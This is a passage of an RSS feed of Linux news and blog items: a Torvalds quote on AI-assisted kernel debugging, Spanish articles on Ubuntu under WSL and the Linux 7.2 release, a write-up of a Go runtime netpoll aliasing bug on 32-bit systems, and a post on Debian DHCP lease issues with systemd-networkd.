<description>And this was a debug session from hell, enormously helped by an AI doing much of the grunt-work. I&#39;d like to call it my tireless helper, but the AI several times stated flat out that this was impossible and unsolvable and that we should just write a report about it. I suspect those things have been trained by people who may not be quite as stubborn as I am. But while the AI was ready to give up several times, it did keep adding debug code and analyzing it faithfully when I pushed. So credit w...</description>
<content:encoded>&lt;blockquote&gt;&lt;p&gt;And this was a debug session from hell, enormously helped by an AI doing much of the grunt-work.&lt;/p&gt;&lt;p&gt;I&amp;#39;d like to call it my tireless helper, but the AI several times stated flat out that this was impossible and unsolvable and that we should just write a report about it.&lt;/p&gt;&lt;p&gt;I suspect those things have been trained by people who may not be quite as stubborn as I am.&lt;/p&gt;&lt;p&gt;But while the AI was ready to give up several times, it did keep adding debug code and analyzing it faithfully when I pushed. So credit where credit is due and I let the AI write the commit message above.&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;— &lt;a href=&quot;https://github.com/torvalds/linux/commit/818bebeb63dd6bf5f4e07e145f6cdbace520a34c&quot;&gt;Linus Torvalds&lt;/a&gt;, drm/xe: Don&amp;#39;t hand out the flat CCS storage as usable VRAM&lt;/p&gt;&lt;p&gt;Tags: &lt;a href=&quot;https://simonwillison.net/tags/linus-torvalds&quot;&gt;linus-torvalds&lt;/a&gt;, &lt;a href=&quot;https://simonwillison.net/tags/linux&quot;&gt;linux&lt;/a&gt;, &lt;a href=&quot;https://simonwillison.net/tags/generative-ai&quot;&gt;generative-ai&lt;/a&gt;, &lt;a href=&quot;https://simonwillison.net/tags/ai-assisted-programming&quot;&gt;ai-assisted-programming&lt;/a&gt;, &lt;a href=&quot;https://simonwillison.net/tags/ai&quot;&gt;ai&lt;/a&gt;, &lt;a href=&quot;https://simonwillison.net/tags/llms&quot;&gt;llms&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Ubuntu crece más rápido en Windows que en Linux ¿Gana Microsoft?</title>
<link>https://www.muylinux.com/2026/08/18/ubuntu-crece-mas-rapido-en-windows/</link>
<guid isPermaLink="false">dBut0ZAZRkp0WUZLx1oMV0kMLSciK5-9bJ1vyQ==</guid>
<pubDate>Tue, 25 Aug 2026 18:53:23 +0000</pubDate>
<description>El uso de Ubuntu a través del Subsistema de Windows para Linux está creciendo más rápido que su base de usuarios nativos de escritorio. Un ejecutivo de Canonical afirma que el número de usuarios de WSL podrían superar pronto a quienes utilizan Ubuntu como su sistema operativo principal. La predicción proviene de Jon Seager, vicepresidente […] La entrada Ubuntu crece más rápido en Windows que en Linux ¿Gana Microsoft? es original de MuyLinux</description>
<content:encoded>&lt;p&gt;&lt;img src=&quot;https://www.muylinux.com/wp-content/uploads/2026/08/Ubuntu-crece-mas-rapido-en-Windows-que-en-Linux.jpg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;El uso de Ubuntu a través del Subsistema de Windows para Linux está creciendo más rápido que su base de usuarios nativos de escritorio. Un ejecutivo de Canonical afirma que &lt;strong&gt;el número de usuarios de WSL podrían superar pronto&lt;/strong&gt; a quienes utilizan Ubuntu como su sistema operativo principal.&lt;/p&gt;&lt;p&gt;La predicción proviene de Jon Seager, vicepresidente de Ingeniería de Canonical, la empresa desarrolladora de Ubuntu. La cita -no tan sorprendente- la ha traído a la luz &lt;a href=&quot;https://www.windowslatest.com/2026/08/16/ubuntu-is-growing-faster-on-windows-11-than-on-native-linux-pcs-says-canonical/&quot;&gt;&lt;em&gt;Windows Latest&lt;/em&gt;&lt;/a&gt; tras revisar una entrevista publicada en &lt;a href=&quot;https://newsletter.pragmaticengineer.com/p/ubuntu-and-ai&quot;&gt;&lt;em&gt;The Pragmatic Engineer&lt;/em&gt;&lt;/a&gt; hace unos meses. Y no tiene desperdicio: &lt;em&gt;«Espero ver más usuarios de Ubuntu WSL que usuarios de Ubuntu ‘nativo’ en los próximos meses»&lt;/em&gt;, aseguraba el ingeniero de Canonical.&lt;/p&gt;&lt;h3&gt;Ubuntu en WSL, todo un éxito&lt;/h3&gt;&lt;p&gt;WSL permite a los usuarios ejecutar un entorno Linux directamente dentro de Windows sin reemplazar el sistema operativo principal ni configurar &lt;a href=&quot;https://www.muycomputer.com/2023/03/15/como-instalar-windows-y-linux-en-el-mismo-pc/&quot;&gt;un sistema de arranque dual&lt;/a&gt;. Los usuarios pueden acceder a Ubuntu a través de una terminal mientras continúan usando Windows como su entorno de escritorio principal.&lt;/p&gt;&lt;p&gt;Según Seager, este tipo de configuración se ha vuelto &lt;strong&gt;particularmente atractiva para los desarrolladores&lt;/strong&gt; que, si bien sus empleadores les exigen usar Windows, aún necesitan herramientas de Linux para el desarrollo, el aprendizaje automático y la inteligencia artificial. El Subsistema de Windows para Linux les permite obtener un entorno Linux sin renunciar a su flujo de trabajo basado en Windows. Todo un éxito, según el vicepresidente de Canonical: &lt;em&gt;«en un año, el crecimiento de nuestras cifras de WSL es significativamente mayor que el crecimiento de las cifras de uso de ordenadores de sobremesa»&lt;/em&gt;.&lt;/p&gt;&lt;h4&gt;¿Gana Microsoft?&lt;/h4&gt;&lt;p&gt;La cita merece comentario aparte. &lt;a href=&quot;https://www.muylinux.com/2016/03/31/ubuntu-bash-windows-10/&quot;&gt;Hace más de una década&lt;/a&gt;, en la BUILD 2016, Microsoft anunció planes para llevar &lt;a href=&quot;https://www.muycomputer.com/2016/07/07/linux-en-windows-10/&quot;&gt;Bash a Windows 10&lt;/a&gt;, el intérprete de comandos que se instala por defecto en la mayoría de las distribuciones GNU/Linux. Con ella se podía ejecutar &lt;strong&gt;binarios de Linux en Windows 10 desde la línea de comandos&lt;/strong&gt;, scripts Bash, comandos de Linux como sed, awk, grep y herramientas como Ruby, Git o Python, directamente en Windows.&lt;/p&gt;&lt;p&gt;Canonical fue el primero en anunciar un acuerdo con Microsoft para usar WSL y de hecho, &lt;strong&gt;Ubuntu Linux fue la primera distribución &lt;/strong&gt;&lt;a href=&quot;https://www.muycomputer.com/2017/07/11/ubuntu-linux-windows-store/&quot;&gt;en lanzarse en la Windows Store&lt;/a&gt;. Microsoft también anunció que estaba trabajando con Fedora y SuSE para hacer exactamente lo mismo que con Ubuntu, permitir la ejecución nativa de herramientas y utilidades en la parte superior del subsistema de Windows para Linux.&lt;/p&gt;&lt;p&gt;A partir de ahí, &lt;strong&gt;WSL ha ido añadiendo capacidades, mejorando su rendimiento y facilitando su uso&lt;/strong&gt; con una &lt;a href=&quot;https://www.muycomputer.com/2024/05/31/mejoras-en-wsl-2-usar-el-subsistema-de-windows-para-linux-sera-mas-facil-que-nunca/&quot;&gt;segunda versión&lt;/a&gt; que fue mucho más allá de un simple Bash, ya que desde una simple capa de compatibilidad ofreció un kernel Linux completo.&lt;/p&gt;&lt;p&gt;&lt;img src=&quot;https://www.muylinux.com/wp-content/uploads/2026/08/Ubuntu-crece-mas-rapido-en-Windows-que-en-Linux_2.jpg&quot; alt=&quot;Ubuntu en WSL&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;Aunque los seguidores de Linux apuestan por el &lt;a href=&quot;https://www.muycomputer.com/2022/04/15/linux-vs-wsl/&quot;&gt;uso de un Linux «real» en lugar de WSL&lt;/a&gt;, considerando -con toda la razón- que la experiencia con el sistema libre solo es posible instalando una distribución completa (o un modo de arranque dual) que ocupe su propia partición y sistema de archivos, hay que reconocerle a Microsoft  las facilidades que ha dado con este WSL a la hora de ejecutar una distribución y/o aplicaciones de Linux.&lt;/p&gt;&lt;p&gt;Y el triunfo de la estrategia… Por descontado, &lt;strong&gt;el objetivo de Microsoft no es altruista&lt;/strong&gt; y simplemente prefiere que si un usuario necesita/quiere algo de Linux lo haga dentro de Windows. En cuanto a Ubuntu, y en general Linux, muchas dudas: ganan usuarios por un lado y lo pierden por otro como alternativa a Windows.&lt;/p&gt;&lt;p&gt;La entrada &lt;a href=&quot;https://www.muylinux.com/2026/08/18/ubuntu-crece-mas-rapido-en-windows/&quot;&gt;Ubuntu crece más rápido en Windows que en Linux ¿Gana Microsoft?&lt;/a&gt; es original de &lt;a href=&quot;https://www.muylinux.com&quot;&gt;MuyLinux&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Linux 7.2 mejora el rendimiento de CPU y GPU, la gestión de memoria y Btrfs</title>
<link>https://www.muylinux.com/2026/08/17/linux-7-2/</link>
<guid isPermaLink="false">WXF_TzL8ofsy9yc1IroHPlp0aLmCN-ZC8KRUOg==</guid>
<pubDate>Tue, 25 Aug 2026 18:53:23 +0000</pubDate>
<description>Linus Torvalds ha anunciado el lanzamiento de Linux 7.2, una nueva versión estable del kernel tan grande como es habitual y muy enfocada en el rendimiento, a juzgar por las notas ya publicadas. Las principales novedades se reparten entre los planificadores de CPU y GPU, la gestión de memoria, Btrfs, USB4 y seguridad. Lo de […] La entrada Linux 7.2 mejora el rendimiento de CPU y GPU, la gestión de memoria y Btrfs es original de MuyLinux</description>
<content:encoded>&lt;p&gt;&lt;img src=&quot;https://www.muylinux.com/wp-content/uploads/2026/04/linux7.jpg&quot; alt=&quot;&quot; title=&quot;&quot;/&gt;&lt;/p&gt;&lt;p&gt;Linus Torvalds ha &lt;a href=&quot;https://lkml.org/lkml/2026/8/16/686&quot;&gt;anunciado el lanzamiento&lt;/a&gt; de &lt;strong&gt;Linux 7.2&lt;/strong&gt;, una nueva versión estable del kernel tan grande como es habitual y muy enfocada en el rendimiento, a juzgar por las notas ya publicadas. Las principales novedades se reparten entre los planificadores de CPU y GPU, la gestión de memoria, Btrfs, USB4 y seguridad. Lo de siempre, pero con los &lt;em&gt;highlights&lt;/em&gt; señalados.&lt;/p&gt;&lt;p&gt;Así, uno de los avances más destacados de Linux 7.2 está en el &lt;strong&gt;planificador de tareas&lt;/strong&gt;, que estrena un balanceo de carga consciente de la caché, con el objetivo de mantener dentro del mismo dominio de caché de último nivel las tareas que comparten datos, como los hilos de un proceso, reduciendo los movimientos y fallos de caché.&lt;/p&gt;&lt;p&gt;Linux 7.2 incorpora asimismo un &lt;strong&gt;planificador de GPU&lt;/strong&gt; más «justo», como lo presentan las notas, inspirado en las ideas del CFS original de &lt;a href=&quot;https://www.muylinux.com/tag/kernel/&quot;&gt;Linux&lt;/a&gt; y diseñado para superar las limitaciones del modelo FIFO utilizado hasta ahora. El cambio mejora el reparto de recursos y la respuesta de las aplicaciones interactivas frente a cargas gráficas intensivas, sin regresiones detectadas frente al sistema anterior.&lt;/p&gt;&lt;p&gt;También hay novedades importantes en la gestión de memoria, incluyendo el ciclo de recuperación de MGLRU y la escritura de páginas modificadas, que se han simplificado y optimizado, con mejoras de rendimiento de hasta un 30 % en algunas cargas de MongoDB con YCSB, una gran reducción de las páginas de archivo que deben volver a cargarse y menos situaciones inesperadas de falta de memoria.&lt;/p&gt;&lt;p&gt;La «cuarta fase» de la renovación del subsistema de &lt;em&gt;swap&lt;/em&gt;, por su parte, unifica la asignación y contabilización del &lt;em&gt;swap&lt;/em&gt; anónimo y de shmem mediante folios, consolida sus metadatos y reduce su sobrecarga estática casi a cero. Como referencia, montar un dispositivo de intercambio de 1 TB puede ahorrar unos 512 MB de memoria.&lt;/p&gt;&lt;p&gt;Otra novedad destacada de Linux 7.2 es &lt;strong&gt;USB4STREAM&lt;/strong&gt;, un mecanismo para transmitir datos sin procesar entre dos equipos conectados mediante un cable USB4. El controlador expone dispositivos &lt;code&gt;/dev/tbstreamX&lt;/code&gt; que se pueden utilizar con operaciones convencionales como &lt;code&gt;read()&lt;/code&gt; y &lt;code&gt;write()&lt;/code&gt;, o con herramientas como &lt;code&gt;cat&lt;/code&gt; y &lt;code&gt;dd&lt;/code&gt;. Puede utilizarse al mismo tiempo que &lt;code&gt;thunderbolt_net&lt;/code&gt; y admite varios flujos simultáneos.&lt;/p&gt;&lt;p&gt;En sistemas de archivos, &lt;strong&gt;Btrfs activa por defecto los folios grandes&lt;/strong&gt;, experimentales desde &lt;a href=&quot;https://www.muylinux.com/2025/09/29/linux-6-17/&quot;&gt;Linux 6.17&lt;/a&gt;, y añade soporte todavía experimental para folios enormes de hasta 2 MB. Incorpora además la operación &lt;code&gt;GET_CSUMS&lt;/code&gt;, dirigida a optimizar la creación del sistema de archivos y la deduplicación, así como mejoras de rendimiento en escrituras secuenciales y E/S directa.&lt;/p&gt;&lt;p&gt;Linux 7.2 estrena también &lt;strong&gt;dm-inlinecrypt&lt;/strong&gt;, un objetivo de Device Mapper para el cifrado en línea de dispositivos de bloques, planteado como alternativa práctica a dm-crypt. Se trata de un proyecto que parte del trabajo realizado en Android con dm-default-key, pero prescinde del modo de paso directo.&lt;/p&gt;&lt;p&gt;Completan las novedades destacadas de este lanzamiento dos nuevas opciones para las llamadas &lt;code&gt;openat()&lt;/code&gt;: una que refuerza la seguridad al evitar que se abran elementos que no sean archivos regulares, y otra que permite reabrir directamente el archivo asociado a un descriptor. Además, se mejora la velocidad de acceso a información del sistema como &lt;code&gt;/proc/filesystems&lt;/code&gt; y &lt;code&gt;/proc/interrupts&lt;/code&gt;, y se sientan las bases para que &lt;code&gt;sched_ext&lt;/code&gt; pueda utilizar subplanificadores diferentes en distintos grupos de control.&lt;/p&gt;&lt;p&gt;En resumen, Linux 7.2 pone el foco en hacer más eficiente el trabajo del kernel: desde distribuir mejor las tareas de CPU y GPU hasta reducir el coste del &lt;em&gt;swap&lt;/em&gt;, acelerar Btrfs o ampliar las posibilidades de USB4. Esta vez no mencionamos nada en relación con los controladores gráficos, y no es que no haya novedades, pero nos remitimos solo a las «Prominent features» que recogen en &lt;a href=&quot;https://kernelnewbies.org/Linux_7.2&quot;&gt;Kernel Newbies&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;La entrada &lt;a href=&quot;https://www.muylinux.com/2026/08/17/linux-7-2/&quot;&gt;Linux 7.2 mejora el rendimiento de CPU y GPU, la gestión de memoria y Btrfs&lt;/a&gt; es original de &lt;a href=&quot;https://www.muylinux.com&quot;&gt;MuyLinux&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>35 years ago Linux began as a hobby called Freax</title>
<link>https://4sysops.com/archives/35-years-ago-linux-began-as-a-hobby-called-freax/</link>
<guid isPermaLink="false">uo9-Z5-HXU3Bl6UPGY9Zdx57xVQzw7nJ57T6PA==</guid>
<pubDate>Tue, 25 Aug 2026 18:00:44 +0000</pubDate>
<description>Linux is marking 35 years since Linus Torvalds publicly announced a small 386-based hobby operating system—and the project nearly carried the name Freax instead. The anniversary also highlights a less nostalgic fact for administrators: Torvalds remains active as Linux’s maintainer and is using AI to help find kernel bugs. Source</description>
<content:encoded>&lt;div&gt;&lt;img src=&quot;https://4sysops.com/wp-content/uploads/2026/08/35-years-ago-linux-began-as-a-hobby-called-freax.webp&quot; alt=&quot;35 years ago Linux began as a hobby called Freax&quot; title=&quot;&quot;/&gt;&lt;/div&gt;Linux is marking 35 years since Linus Torvalds publicly announced a small 386-based hobby operating system—and the project nearly carried the name Freax instead. The anniversary also highlights a less nostalgic fact for administrators: Torvalds remains active as Linux’s maintainer and is using AI to help find kernel bugs. &lt;p&gt;&lt;a href=&quot;https://4sysops.com/archives/35-years-ago-linux-began-as-a-hobby-called-freax/&quot;&gt;Source&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Hunting Down a Go Runtime Bug on 32-bit Embedded Systems</title>
<link>https://sigma-star.at/blog/2026/08/go-runtime-netpoll-bug/</link>
<enclosure type="image/jpeg" length="0" url="https://sigma-star.at/assets/images/opengraph/og-image-blog-linux.png"></enclosure>
<guid isPermaLink="false">I7u2GjsC_wk4UTk5uI8RZSIgfYwbC5UODJA6dA==</guid>
<pubDate>Tue, 25 Aug 2026 17:05:49 +0000</pubDate>
<description>A customer&#39;s Go application kept crashing on a 32-bit embedded Linux system. We traced the fatal netpoll error to a pointer aliasing bug in the Go runtime.</description>
<content:encoded>&lt;h1&gt;Hunting Down a Go Runtime Bug on 32-bit Embedded Systems&lt;/h1&gt;&lt;p&gt;Our daily work usually revolves around Linux and security topics, deep down in the software stack.
Still, more often than you might think, we end up debugging applications which live much higher up.
Sometimes such a problem has its roots in the Linux kernel, sometimes elsewhere.
In this blog post we show how we found and fixed a bug inside the Go runtime.&lt;/p&gt;&lt;p&gt;Recently a customer reported that an application written in Go crashes from time to time on one of their embedded Linux systems.&lt;/p&gt;&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;The crash was always the same fatal error with the following signature:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-terminal&quot;&gt;runtime: netpoll: eventfd ready for 5
fatal error: runtime: netpoll: eventfd ready for something unexpected
...stack trace...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At first we assumed that the application itself was buggy and needed fixing.
But after inspecting the error more closely, it looked much more like an internal assumption in Go’s netpoll mechanism no longer holds.&lt;/p&gt;&lt;p&gt;The error message comes from &lt;code&gt;netpoll()&lt;/code&gt; in &lt;a href=&quot;https://github.com/golang/go/blob/c97cfcb37fced87a43a3dbab8983d6f76b8b84d1/src/runtime/netpoll_epoll.go#L141&quot;&gt;src/runtime/netpoll_epoll.go&lt;/a&gt;:&lt;/p&gt;&lt;p&gt;In this code path, the netpoll code expects &lt;code&gt;EPOLLIN&lt;/code&gt; to be the only firing event, but it got something else.
In our case it got &lt;code&gt;5&lt;/code&gt;, which is &lt;code&gt;EPOLLIN|EPOLLOUT&lt;/code&gt;.
Why would epoll suddenly report more than &lt;code&gt;EPOLLIN&lt;/code&gt; if the code asked only for &lt;code&gt;EPOLLIN&lt;/code&gt;?&lt;/p&gt;&lt;p&gt;Before digging deeper, we threw the error message into a search engine, hoping that somebody else had faced the same issue before.
This led us straight to a report in the Go project’s issue tracker:
&lt;a href=&quot;https://github.com/golang/go/issues/72900&quot;&gt;runtime: netpoll: eventfd ready for something unexpected&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;The issue describes exactly the fatal error we saw.
Also on a 32-bit ARM embedded Linux system!
The reporters also noted that the crash happens in applications which run for a long time.
That matched our customer’s description, too.
Bingo!&lt;/p&gt;&lt;p&gt;The issue had been open and unresolved since March 2025.
The Go maintainers had also rejected one &lt;a href=&quot;https://go-review.googlesource.com/c/go/+/658755&quot;&gt;attempt&lt;/a&gt; to fix the problem.&lt;/p&gt;&lt;p&gt;From the comments on the issue we learned that the fatal error only ever showed up on 32-bit ARM and i386 Linux systems, with all kinds of kernel versions.
Some kernels were rather old, others recent.
Not a single reporter saw it on an x86_64 or arm64 system.&lt;/p&gt;&lt;h2&gt;Accepting the Challenge&lt;/h2&gt;&lt;p&gt;The problem had multiple reporters but no fix, so we decided to dig into the issue ourselves.
At the very least we could give the Go folks better input.&lt;/p&gt;&lt;p&gt;Initially we suspected that epoll behaves differently on 32-bit ARM or i386.
We ditched this idea quickly since epoll is generic core code in the kernel.
Why would it return a spurious event set only on 32-bit ARM or i386?&lt;/p&gt;&lt;p&gt;Still, the fact that the error showed up only on 32-bit systems gnawed at us.
As a next step we reviewed the epoll usage in Go’s netpoll code.
With the help of an LLM we went through &lt;code&gt;src/runtime/netpoll_epoll.go&lt;/code&gt;, focusing on 32-bit pitfalls such as integer conversions.&lt;/p&gt;&lt;p&gt;The review revealed that Go’s netpoll code uses the &lt;code&gt;data&lt;/code&gt; field of &lt;code&gt;struct epoll_event&lt;/code&gt;.
Linux epoll can store an 8 byte cookie in the kernel and returns it as part of the firing event to user space.
Applications use this cookie to attach metadata to an event, for example to tell different event sources apart.&lt;/p&gt;&lt;p&gt;Deep inside the Go runtime, the main event handler needs to know whether an event belongs to an event fd or a socket fd.
It decides by comparing &lt;code&gt;ev.Data&lt;/code&gt; to the address of its internal event fd object:&lt;/p&gt;&lt;p&gt;Reading further through the code showed that &lt;code&gt;ev.Data&lt;/code&gt; holds either a raw pointer to &lt;code&gt;netpollEventFd&lt;/code&gt; or a tagged pointer to a per-socket object, &lt;code&gt;pollDesc&lt;/code&gt;.
The pointer tag is a counter, &lt;code&gt;fdseq&lt;/code&gt;, which distinguishes recycled &lt;code&gt;pollDesc&lt;/code&gt; objects.&lt;/p&gt;&lt;p&gt;So far so good.
Mixing raw and tagged pointers in the same field looked fishy to us.
But how this relates to the crash was not clear yet.&lt;/p&gt;&lt;p&gt;Inspecting how Go lays out tagged pointers in memory finally revealed the core of the issue.&lt;/p&gt;&lt;h2&gt;The Aha Moment&lt;/h2&gt;&lt;p&gt;On 32-bit platforms, Go’s tagged pointer logic packs the full 32-bit address and up to 32 tag bits into an 8 byte word.
The tag goes into the lower 4 bytes and the address into the upper 4 bytes.&lt;/p&gt;&lt;p&gt;Storing a tagged pointer with address &lt;code&gt;0x00123456&lt;/code&gt; and tag &lt;code&gt;0x12&lt;/code&gt; fills &lt;code&gt;ev.Data&lt;/code&gt; like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ev.Data[0:4]        ev.Data[4:8]
+------------------+-------------------+
|  fdseq           |  *pollDesc        |
|  e.g. 0x00000012 |  e.g. 0x00123456  |
+------------------+-------------------+&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Storing the raw pointer, on the other hand, leaves the following contents in &lt;code&gt;ev.Data&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;ev.Data[0:4]       ev.Data[4:8]
+------------------+-------------------+
|  &amp;amp;netpollEventFd |  0 (untouched)    |
|  e.g. 0x00123456 |  0x00000000       |
+------------------+-------------------+&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The lower 4 bytes hold the address of the object.
The upper 4 bytes stay untouched since an address is only 4 bytes long on a 32-bit system.&lt;/p&gt;&lt;p&gt;This finally shows the root of the problem.
The comparison of &lt;code&gt;ev.Data&lt;/code&gt; with &lt;code&gt;&amp;amp;netpollEventFd&lt;/code&gt; evaluates only the lower 4 bytes of &lt;code&gt;ev.Data&lt;/code&gt;.
The code casts &lt;code&gt;ev.Data&lt;/code&gt; to &lt;code&gt;uintptr&lt;/code&gt;, which is 4 bytes on 32-bit platforms.
So the address of the &lt;code&gt;netpollEventFd&lt;/code&gt; object aliases with &lt;code&gt;fdseq&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;As soon as &lt;code&gt;fdseq&lt;/code&gt; grows large enough to match &lt;code&gt;&amp;amp;netpollEventFd&lt;/code&gt;, the netpoll logic mistakes a socket fd for an event fd.
Internal assumptions fall apart, among them the assumption that the ready event is just &lt;code&gt;EPOLLIN&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Note that this aliasing can only happen on 32-bit little endian systems.
On a 64-bit system, the comparison always covers the whole 8 bytes.
On a 32-bit big endian system, the comparison would read the upper 4 bytes, which contain the address.&lt;/p&gt;&lt;p&gt;&lt;code&gt;fdseq&lt;/code&gt; needs to grow into the millions before it matches &lt;code&gt;&amp;amp;netpollEventFd&lt;/code&gt;.
That’s why the problem shows up only in long-running programs which create lots of &lt;code&gt;pollDesc&lt;/code&gt; objects over time.
On a typical 32-bit ARM Linux system, &lt;code&gt;netpollEventFd&lt;/code&gt; resides in a read-only section within the first 3 MiB of the address space, as the memory map of our test program shows:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-terminal&quot;&gt;$ pmap `pidof netpoll_test`
204:   /opt/netpoll_test
00010000   2696K r-x-- netpoll_test
002c0000   2192K r---- netpoll_test
004f0000    180K rw--- netpoll_test
...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So &lt;code&gt;fdseq&lt;/code&gt; needs to reach a value of about 3 million before the crash can happen.&lt;/p&gt;&lt;h2&gt;A Test Case&lt;/h2&gt;&lt;p&gt;We also created a &lt;a href=&quot;https://github.com/richardweinberger/go_netpoll_32bit_testcase&quot;&gt;standalone test case&lt;/a&gt; for the problem.
On our test systems, it triggered the crash within a few minutes:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-terminal&quot;&gt;$ /tmp/repro.arm.system
netpoll eventfd-alias reproducer (GOOS=linux GOARCH=arm)
runtime.netpollEventFd is at address 0x223008
crash expected around cycle 2240520

cycle 2236988runtime: netpoll: eventfd ready for 4
fatal error: runtime: netpoll: eventfd ready for something unexpected

runtime stack:
...&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;Fixing the Issue&lt;/h2&gt;&lt;p&gt;We &lt;a href=&quot;https://github.com/golang/go/pull/81037&quot;&gt;proposed a fix&lt;/a&gt; which changes how netpoll tells event fds and socket fds apart.
Instead of storing the raw pointer &lt;code&gt;&amp;amp;netpollEventFd&lt;/code&gt;, the fix stores a &lt;code&gt;nil&lt;/code&gt; &lt;code&gt;pollDesc&lt;/code&gt; as a tagged pointer.
When unpacking the tagged pointer yields &lt;code&gt;nil&lt;/code&gt;, the event belongs to the event fd, otherwise to a socket fd.
This way &lt;code&gt;ev.Data&lt;/code&gt; always contains a tagged pointer and the aliasing is gone.&lt;/p&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;A Go application crashed sporadically on a 32-bit ARM embedded Linux system with a fatal netpoll error.
The error looked like an epoll problem, but epoll worked just fine.
The Go runtime stores both a raw pointer to &lt;code&gt;netpollEventFd&lt;/code&gt; and tagged &lt;code&gt;pollDesc&lt;/code&gt; pointers in the 8 byte &lt;code&gt;ev.Data&lt;/code&gt; field.
On 32-bit little endian systems, the raw pointer aliases with the &lt;code&gt;fdseq&lt;/code&gt; tag.
Once a long-running program has recycled millions of &lt;code&gt;pollDesc&lt;/code&gt; objects, netpoll mistakes a socket fd for the event fd and crashes.
Our fix stores a tagged &lt;code&gt;nil&lt;/code&gt; &lt;code&gt;pollDesc&lt;/code&gt; for the event fd instead, which removes the aliasing.&lt;/p&gt;&lt;p&gt;The bug slipped into the Go runtime with Go 1.14 in 2020.
It went unnoticed until the first report in March 2025 and finally got fixed in 2026.
We can only speculate, but this suggests that Google itself no longer runs any 32-bit Go programs.
Otherwise they would have hit the bug themselves long before we did.&lt;/p&gt;&lt;p&gt;We’d like to thank Frequentis AG for providing the budget to analyze and fix the problem.&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Debian Not Reusing DHCP Leases – Makefile.feld</title>
<link>https://blog.feld.me/posts/2026/08/debian-not-reusing-dhcp-leases/</link>
<enclosure type="image/jpeg" length="0" url="https://blog.feld.me/static/site_logo_512.png"></enclosure>
<guid isPermaLink="false">Cm851fNNCqWEqxqCkYzEQGjhEEU6fD5ggPitYA==</guid>
<pubDate>Tue, 25 Aug 2026 15:29:51 +0000</pubDate>
<description>A while back I posted about the very undesirable behavior of systemd releasing DHCP leases when shutting down which removes the entry from DNS and causes you to be unable to easily ping/monitor the host as it&#39;s rebooting or even look up what IP address it had while it …</description>
<content:encoded>&lt;body&gt;
        &lt;header&gt;
                &lt;h1&gt;&lt;a href=&quot;https://blog.feld.me/&quot;&gt;Makefile.feld&lt;/a&gt;&lt;/h1&gt;
                
        &lt;/header&gt;
        

&lt;main&gt;
	&lt;header&gt;
		&lt;h1&gt;
			&lt;a href=&quot;https://blog.feld.me/posts/2026/08/debian-not-reusing-dhcp-leases/&quot;&gt;Debian Not Reusing DHCP Leases&lt;/a&gt;
		&lt;/h1&gt;
	&lt;div&gt;
		&lt;a href=&quot;https://blog.feld.me/tag/debian/&quot;&gt;#debian&lt;/a&gt;
		&lt;a href=&quot;https://blog.feld.me/tag/linux/&quot;&gt;#linux&lt;/a&gt;
		&lt;a href=&quot;https://blog.feld.me/tag/networking/&quot;&gt;#networking&lt;/a&gt;
		&lt;a href=&quot;https://blog.feld.me/tag/systemd/&quot;&gt;#systemd&lt;/a&gt;
	&lt;/div&gt;
	&lt;/header&gt;
	&lt;div&gt;
		&lt;p&gt;A while back &lt;a href=&quot;https://blog.feld.me/posts/2025/09/systemd-networkd-dhcp-release/&quot;&gt;I posted about&lt;/a&gt; the very undesirable
behavior of systemd releasing DHCP leases when shutting down which removes the entry from DNS
and causes you to be unable to easily ping/monitor the host as it&amp;#39;s rebooting or even look up
what IP address it had while it was running.&lt;/p&gt;
&lt;p&gt;Recently a new problem cropped up for me: Debian keeps getting a new DHCP lease (read: new IP address, when the old lease was not expired yet!), and the hostname is not following it.&lt;/p&gt;
&lt;p&gt;After some debugging I found two problems.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;RFC 4361 says if the DHCP client provides a client-id / DUID, that is used instead of the MAC address
as the unique client identifier.&lt;/li&gt;
&lt;li&gt;Apparently Debian decided to start running a second DHCP client on my server.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The fix for the first problem can be combined into the same file as the one we used to disable the DHCP release
behavior:&lt;/p&gt;
&lt;pre&gt;# /etc/systemd/network/10-no-release.network
[Match]
Name=enp*

[Network]
DHCP=ipv4

[DHCPv4]
ClientIdentifier=mac
SendRelease=no
&lt;/pre&gt;
&lt;p&gt;The new setting is the &lt;code&gt;ClientIdentifier=mac&lt;/code&gt;. Now it will not send a new DUID every time it requests a lease. I&amp;#39;m still not sure why the DUID kept changing, but it did.&lt;/p&gt;
&lt;p&gt;The fix for the second problem is that somehow the &lt;code&gt;ifupdown&lt;/code&gt; package got installed on my server and this starts a second DHCP client. Purging this fixed that issue.&lt;/p&gt;
&lt;p&gt;Now I can see on my firewall that the DHCP lease for this server is associated with the MAC address and the hostname is associated with it too.&lt;/p&gt;
&lt;p&gt;I really don&amp;#39;t know how this happened or even why Debian allows two DHCP clients to be enabled simultaneously. You&amp;#39;d think systemd could detect two services are providing the same role and prevent this, but Poettering must think otherwise. Once again I&amp;#39;ve been screwed by systemd. If systemd-networkd didn&amp;#39;t even exist and we just kept using the standard ISC DHCP client none of this would have happened.&lt;/p&gt;
&lt;div&gt;
&lt;img src=&quot;https://blog.feld.me/static/systemd_toad.jpg&quot; alt=&quot;PRAISE BE TO POETTERING&quot; title=&quot;&quot;/&gt;
&lt;/div&gt;

